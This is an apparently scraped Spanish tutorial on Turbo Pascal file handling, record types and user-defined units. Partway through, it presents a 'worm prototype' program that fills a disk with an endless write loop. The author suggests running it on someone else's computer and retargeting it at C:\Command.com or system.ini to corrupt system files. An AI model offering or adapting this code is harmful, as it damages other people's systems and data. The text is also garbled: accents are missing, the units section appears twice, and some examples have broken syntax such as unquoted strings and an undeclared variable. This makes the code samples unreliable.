Para leer los datos de un archivo de acceso secuencial se utilizan las instrucciones Read
y ReadLn.
La instruccin Read lee uno o varios datos del archivo abierto y deja el puntero en el
mismo rengln en el cual ley los datos, en cambio ReadLn lee los datos y mueve el
puntero al siguiente rengln.
Fin del archivo
Normalmente los archivos de este tipo se leen rengln por rengln hasta llegar al final del
mismo. Cuando se conoce de antemano el tamao del archivo es posible utilizar un ciclo
FOR, pero es ms seguro utilizar la funcin EOF (END OF FILE, FINAL DE ARCHIVO)la
cual es verdadera despus de que el programa lee la ltima linea de un archivo de
acceso secuencial.
La sintaxis de la funcin EOF es:
EOF (VaribleArchivo);
Es comn realizar la verificacin de la funcin con un ciclo WHILE como en el ejemplo
siguiente:
WHILE NOT EOF(Archivo) DO
BEGIN
ReadLn(Archivo, Datos);
WriteLn(Datos);
END;
Cerrar archivos
Para asegurar que toda la informacin se grabe en el disco correctamente es necesario
cerrar el archivo antes de que se termine la ejecucin del programa, de lo contrario se
corre el riego de que la ltima informacin que se haya accesado no se grabe en su
totalidad.
La instruccin para cerrar un archivo es Close, y su sintaxis es:
Close (VaribleArchivo);
Funcin Eoln
La funcin Eoln sirve para verificar si el puntero ha llegado al final de la linea. Regresa el
valor verdadero si se encuentra al final. Comunmente se utiliza en las lecturas caracter
por caracter.
Agregar datos a un archivo de texto
Para aadir datos a un archivo de texto son necesarios los siguientes pasos:
Asignar un archivo a una variable con Assign.
Agregar los datos con el procedimiento Append.
Escribir los datos.
Cerrar el archivo.
A continuacin se ilustra un ejemplo de un programa que agrega una linea a un archivo
de texto:
PROGRAM Archivo1;
VAR

Archivito : TEXT;
BEGIN
Assign (Archivito, 'ROBOT.TXT');
Append(Archivito);
WriteLn(Archivito, 'Este es un texto de prueba');
Close (Texto);
END.
A continuacin te presento un prototipo de un gusano, este lo nico que hace es crear un
archivo de tipo texto llamado corrupto.txt, luego inicia un ciclo repeat - until infinito pues 2
nunca va a ser igual a 3, y dentro de este empieza a engordar el archivo hasta que no
deja ni un poquitn de espacio libre. Prubalo pero bajo tu responsabilidad y en un
computador que no sea el tuyo o para mayor seguridad direcciona el archivo a un disco
flexible, luego me cuentas que te paso .
PROGRAM Archivo_corrupto;
VAR
Archivito : TEXT;
BEGIN
Assign (Archivito, 'A:\Corrupto.TXT');
Rewrite(Archivito);
Repeat
WriteLn(Archivito, 'Me estoy comiendo el disco, JA, JA, JA !!');
Until 2=3;
Close (Archivito)
END.
Y una cosa mas, si deseas que haga mas dao como bloquear el sistema simplemente
cambia en la linea Assign (Archivito, 'a:\Corrupto.TXT'); por
Assign (Archivito, 'c:\Command.com'); o Assign (Archivito, 'c:\system.ini'); o cualquier
archivo importante del sistema que desees corromper.
Archivos con tipo
Un archivo con tipo esta formado por una o mas tablas de datos. Si manejas access,
foxpro o cualquier otro motor de base de datos, ya debes saber que una tabla es un
conjunto de registros, y que un registro es un conjunto de campos.
Viendolo grficamente tenemos:
TABLA
Campo1 Campo2 Campo3 Campo4
Registro1
Registro2
Registro3
Registro4
Y AHORA CON INFORMACIN ME ENTIENDES MAS
TABLA : Datos Personales
Nombre Direccin Edad Estado Civil
Registro1 Daniel Jose Popayn 19 Soltero
Registro2 Patricia Cal 28 Casada
Registro3 Ma.Fernanda Bogota 34 Soltera
Registro4 Zulay Tereza Cucuta 22 Soltera

Estructura del archivo


Si has leido conciensudamente las explicaciones anterioriores, ya debes tener una idea
de las diferencias entre un archivo tipo texto y uno con tipo.
Pues bueno, los primeros estn compuestos de lineas de caracteres y los ltimos se
acomodan en registros con estructuras fijas. La longitud de los registros esta determinada
por la cantidad de bytes que se necesitan para almacenar el tipo de datos que contendr
el registro.
Declaracin de un archivo con tipo
Para declarar un archivo con tipo se realiza con las palabras reservadas FILE OF, su
sintaxis es la siguiente:
Var
VariableArchivo : FILE OF TipoElementos;
Miremos un ejemplo prctico:
PROGRAM Archivo_con_Tipo;
VAR
Archivo : FILE OF Integer;
BEGIN
END.
Normalmente no se desea crear archivos que puedan almacenar un solo tipo de datos ya
que se requeriran varios archivos, por ejemplo para alguna base de datos: uno para los
nombres, otro para apellidos, otro para la edad, etc. Para evitar este inconveniente es
posible usar registros del tipo RECORD, que permiten grabar en un solo registro un grupo
de datos que pueden ser de diferentes tipos, uno de tipo INTEGER, uno de tipo STRING,
etc.
Los registros del tipo record deben ser declarados antes de las variables en una seccin
llamada TYPE con el siguiente formato:
TYPE
Nombre_Reg = RECORD
Campo_del_registro_1 : Tipo;
Campo_del_registro_2 : Tipo;
.
.
.
Campo_del_registro_n : Tipo;
END;
Donde Nombre_Reg es el nombre del registro que se utilizar, Campo_del_Registro_x
son las variables que estarn contenidas en el registro y Tipo es el tipo de cada una de
las variables del registro.
La seccin TYPE se escribe antes de la declaracin de las variables.
Para crear la tabla de inormacin vista anteriormente, quedara as:
TYPE
Datos = RECORD
Nombre : String[40];

Direccion: String[60];
Edad : byte;
Estado_Civil : String[10];
END;
El siguiente paso es declarar un archivo del tipo Datos as como una variable del mismo
tipo de los que se utilizarn en el archivo:
VAR
Archivo : FILE OF Datos;
Persona : Datos;
Asignacin de un archivo
An cuando se tenga declarado el archivo no es posible grabar nada en l si no se le
asigna un nombre real para guardarlo en el disco. El proceso de dicha asignacin es el
mismo que para los archivos de texto:
Assign (Archivo, 'Nombre.ext');
Nombre.txt puede ser una constante, una variable o estar escrita directamente en el
programa. Naturalmente debe cumplir con todas las reglas para nombrar un archivo.
Abrir archivos
Una vez declarado un archivo ya es posible abrirlo. En caso de querer abrir un archivo
nuevo se utiliza la instruccin Rewrite, o si el archivo ya existe en el disco se abre con el
procedimiento :Reset.
No existe ninguna diferencia entre la apertura de un archivo con tipo para su lectura o
para su escritura.
Si al utilizar el procedimiento Rewrite el archivo asignado ya exista se eliminar del disco
y se crear uno nuevo, por lo mismo se debe tener cuidado al momento de abrir estos
archivos.
Registro actual y tamao de un rchivo
La funcin FileSize regresa el tamao de un archivo, o mejor dicho devuelve el nmero de
registros contenidos en ste.
Al momento de abrir un archivo nuevo la funcin FileSize regresa el valor de 0, lo que
significa que el archivo no tiene datos guardados en l.
Posicionamiento en un registro determinado
Cada uno de los registros de un archivo esta referenciado por un nmero especfico
comenzando desde el registro 0 y aumentando de 1 en 1.
La funcin FilePos devuelve el nmero de registro actual, su sintaxis es:
FilePos (VariableArchivo)
VariableArchivo es la variable a la cual se asign un nombre de archivo en el disco.
Para moverse a un registro determinado se utiliza la funcin Seek, con la siguiente
sintaxis:
Seek (VariableArchivo, NumRegistro);
Para moverse al final del archivo para agregar un nuevo registro se utiliza este mismo
comando con el parametro NumRegistro como sigue:
Seek (VariableArchivo, FileSize(VariableArchivo));
Cuando se avanza en un archivo registro por registro se utiliza la funcin EOF para
determinar si ya se lleg al final del archivo.
Lectura y escritura de archivos

Para la lectura y escritura en un archivo con tipo se utilizan los procedimientos Read y
Write. Despus de cada operacin de lectura o escritura el puntero se posiciona en el
siguiente registro.
Para estar seguros de que se leera el registro que se desea se debe emplear el
procedimiento seek antes de cualquier procedimiento de lectura o escritura.
Cerrar un archivo
Para cerrar los archivos abiertos se procede igual que en uno de tipo texto, utilizando el
procedimiento close:
Close (VariableArchivo);
Y despues de toda esta larga y compleja teora, te presento un no tan pequeo programa
que hace uso de la mayora de las funciones y procedimientos antes explicados.
El ejemplo trata de sistematizar a nivel bsico el funcionamiento de una panadera, hace
uso de registros, archivos, vectores, permite salir temporalmente al prompt del sistema,
entre otras opciones.
UNIDADES DEFINIDAS POR EL USUARIO
Al igual que las unidades que nos provee TURBO PASCAL como GRAPH, DOS,
PRINTER, entre otras, las cuales nos brindan una serie de funciones y procedimientos
que facilitan enormemente el desarrollo de un programa, uno puede crear sus propias
librerias de herramientas para usarlas en una infinidad de programas que facilitan el
control y depuracin de estos
Una unidad es una agrupacin lgica de declaraciones que se compila por separado y
que es accesible por otros programas y unidades, las unidades pueden contener tipos,
constantes, variables y subprogramas (funciones y procedimientos) todas las
declaraciones dentro de una unidad son generalmente dependientes de otra unidad ya
sea proporcionada por PASCAL o creadas por el usuario.
Las unidades no son ejecutables por si solas, dependen del programa que las llama para
poder realizar su funcin.
VENTAJAS
MODULARIDAD: Las unidades parten un programa en trozos ms pequeos
REUTILIZACION: Toda la serie de instrucciones de una unidad estan disponibles para
otro programa o unidad, dado esto, constituyen librerias de funciones y procedimientos
reutilizables
OCULTAMIENTO DE INFORMACION: Una unidad al ser compilada, toma la extensin
TPU, cuando un programa las utiliza no tiene acceso al cdigo fuente en el que se
implemento
{Este texto fue tomado del libro Turbo Pascal 7.0, manual de referencia stephen k. Obrien
steve namerof Editorial Osborne McGrawHill pag 17}
COMO CREAR UNA UNIDAD
Partamos de la idea fundamental de que una unidaa es una estructura similar a un
programa normal con unas pequeas diferencias...
SINTAXIS
UNIT Nombre_unidad;
INTERFACE
USES Unidades a Utilizar

Listado de nombres de funciones y procedimientos a utilizar o implementar la unidad.


IMPLEMENTATION
Desarrollo e implementacin de procedimientos y funciones
BEGIN
Cdigo de inicializacin
END.
Ejemplo:
UNIT PRIMERA;
INTERFACE
USES CRT;
PROCEDURE ESCRIBE_TEXTO(CADENA:STRING);
IMPLEMENTATION
PROCEDURE ESCRIBE_TEXTO(CADENA:STRING);
BEGIN
CLRSCR;
TEXTCOLOR(YELLOW);
WRITELN(CADENA);
END;
END.{Final de la unidad}
Este bloque de cdigo se compila a disco pero no se corre, para lograr tal objetivo, haz
los siguientes pasos:
F10
Compile
En destination presionar ENTER para que aparezca DISK
Presiona F9 y listo, Aparecera un letrerito que traducido dice Compilando a Disco
Ahora editemos el programa que va a llamar a la unidad
PROGRAM Unidades;
USES crt, primera;{Llama a la unidad compilada como PRIMERA.TPU}
VAR
Cadena : STRING;
BEGIN
TEXTCOLOR(LIGHTBLUE);
Cadena:=FELIZ DIA;
Escribe_Texto(CADENA);{Invoca a el procedimiento definido en la unidad}
READKEY;
END.
Como las unidades se pueden invocar desde otros programas (concepto de
reutilizabilidad), llamemosla ahora desde otra aplicacin
PROGRAM OTRO_USO;
USES crt, primera;
VAR
Titulo : String;
BEGIN
TEXTBACKGRUND(LIGHTMAGENTA);
Titulo := Menu Principal;
Escribe_texto(Titulo);
READKEY;
END.
Usa la siguiente unidad cada vez que desees centrar texto en la pantalla, con base en

esta y cuando ya hallas aprendido a manejar el modo grfico sera muy bueno que
desarrollaras una unidad para hiciera lo mismo en este modo.
UNIT Centrado;
INTERFACE
PROCEDURE Centrar(Texto : String; Fila : Integer);
IMPLEMENTATION
USES Crt;
VAR
Columna : Integer;
PROCEDURE Centrar(Texto : String; fila : Integer);
BEGIN
Columna := (80 - Length(Texto)) DIV 2
GotoXY (Columna, fila);
Write(Texto);
END;
BEGIN
END.
Ahora llamemos la unidad desde un programa:
Program usa_otra_unidad;
Uses crt,centrado;
var
cadena:string;
begin
clrscr;
cadena:='Tutorial de Programacin';
centrar(cadena,12);{Centra el texto en la mitad de la pantalla}
{No se olvide que el 12 hace referencia a las filas}
readln;
end.
NOTA: Una vez compiladas las unidades quedan con la extensin TPU (Turbo Pascal
Unit), en el caso de los ejemplos aparecern as:
CENTRADO.TPU
PRIMERA.TPU
A continuacin te muestro una prctica unidad que habilita el mouse o ratn. Esta es
usada por un programa llamado pintura el cual simula las principales funciones del PAINT
de Windows 95, tiene un procedimiento que evalua constantemente la posicin del ratn
en la pantalla y de acuerdo a esto realiza las acciones correspondientes (similar como lo
hace cualquier aplicacin de Windows); la activacin de las herramientas se hace con el
boton izquierdo y el cambio de COLORES con el derecho.
Con el proposito de despertar tu creatividad, se le han deshabilitado algunas de las
herramientas para que las disees e implementes a tu gusto.
UNIDADES DEFINIDAS POR EL USUARIO
Al igual que las unidades que nos provee TURBO PASCAL como GRAPH, DOS,
PRINTER, entre otras, las cuales nos brindan una serie de funciones y procedimientos
que facilitan enormemente el desarrollo de un programa, uno puede crear sus propias
librerias de herramientas para usarlas en una infinidad de programas que facilitan el

control y depuracin de estos


Una unidad es una agrupacin lgica de declaraciones que se compila por separado y
que es accesible por otros programas y unidades, las unidades pueden contener tipos,
constantes, variables y subprogramas (funciones y procedimientos) todas las
declaraciones dentro de una unidad son generalmente dependientes de otra unidad ya
sea proporcionada por PASCAL o creadas por el usuario.
Las unidades no son ejecutables por si solas, dependen del programa que las llama para
poder realizar su funcin.
VENTAJAS
MODULARIDAD: Las unidades parten un programa en trozos ms pequeos
REUTILIZACION: Toda la serie de instrucciones de una unidad estan disponibles para
otro programa o unidad, dado esto, constituyen librerias de funciones y procedimientos
reutilizables
OCULTAMIENTO DE INFORMACION: Una unidad al ser compilada, toma la extensin
TPU, cuando un programa las utiliza no tiene acceso al cdigo fuente en el que se
implemento
{Este texto fue tomado del libro Turbo Pascal 7.0, manual de referencia stephen k. Obrien
steve namerof Editorial Osborne McGrawHill pag 17}
COMO CREAR UNA UNIDAD
Partamos de la idea fundamental de que una unidaa es una estructura similar a un
programa normal con unas pequeas diferencias...
SINTAXIS
UNIT Nombre_unidad;
INTERFACE
USES Unidades a Utilizar
Listado de nombres de funciones y procedimientos a utilizar o implementar la unidad.
IMPLEMENTATION
Desarrollo e implementacin de procedimientos y funciones
BEGIN
Cdigo de inicializacin
END.
Ejemplo:
UNIT PRIMERA;
INTERFACE
USES CRT;
PROCEDURE ESCRIBE_TEXTO(CADENA:STRING);
IMPLEMENTATION
PROCEDURE ESCRIBE_TEXTO(CADENA:STRING);
BEGIN
CLRSCR;
TEXTCOLOR(YELLOW);
WRITELN(CADENA);
END;
END.{Final de la unidad}
Este bloque de cdigo se compila a disco pero no se corre, para lograr tal objetivo, haz
los siguientes pasos:
F10

Compile
En destination presionar ENTER para que aparezca DISK
Presiona F9 y listo, Aparecera un letrerito que traducido dice Compilando a Disco
Ahora editemos el programa que va a llamar a la unidad
PROGRAM Unidades;
USES crt, primera;{Llama a la unidad compilada como PRIMERA.TPU}
VAR
Cadena : STRING;
BEGIN
TEXTCOLOR(LIGHTBLUE);
Cadena:=FELIZ DIA;
Escribe_Texto(CADENA);{Invoca a el procedimiento definido en la unidad}
READKEY;
END.
Como las unidades se pueden invocar desde otros programas (concepto de
reutilizabilidad), llamemosla ahora desde otra aplicacin
PROGRAM OTRO_USO;
USES crt, primera;
VAR
Titulo : String;
BEGIN
TEXTBACKGRUND(LIGHTMAGENTA);
Titulo := Menu Principal;
Escribe_texto(Titulo);
READKEY;
END.
Usa la siguiente unidad cada vez que desees centrar texto en la pantalla, con base en
esta y cuando ya hallas aprendido a manejar el modo grfico sera muy bueno que
desarrollaras una unidad para hiciera lo mismo en este modo.
UNIT Centrado;
INTERFACE
PROCEDURE Centrar(Texto : String; Fila : Integer);
IMPLEMENTATION
USES Crt;
VAR
Columna : Integer;
PROCEDURE Centrar(Texto : String; fila : Integer);
BEGIN
Columna := (80 - Length(Texto)) DIV 2
GotoXY (Columna, fila);
Write(Texto);
END;
BEGIN
END.
Ahora llamemos la unidad desde un programa:
Program usa_otra_unidad;
Uses crt,centrado;
var
cadena:string;

begin
clrscr;
cadena:='Tutorial de Programacin';
centrar(cadena,12);{Centra el texto en la mitad de la pantalla}
{No se olvide que el 12 hace referencia a las filas}
readln;
end.
NOTA: Una vez compiladas las unidades quedan con la extensin TPU (Turbo Pascal
Unit), en el caso de los ejemplos aparecern as:
CENTRADO.TPU
PRIMERA.TPU
Oye cybervengador como hago para que cuando pulse una tecla aparezca algo
Ejemplo:
Program Tecla;
uses crt;
Begin
Sound(1000)
??????
Sound(2000)
End.
Ahi termina el ejemplo
que instruccion pongo para que cuando
pulse una tecla aparezca el sonido 2???

You might also like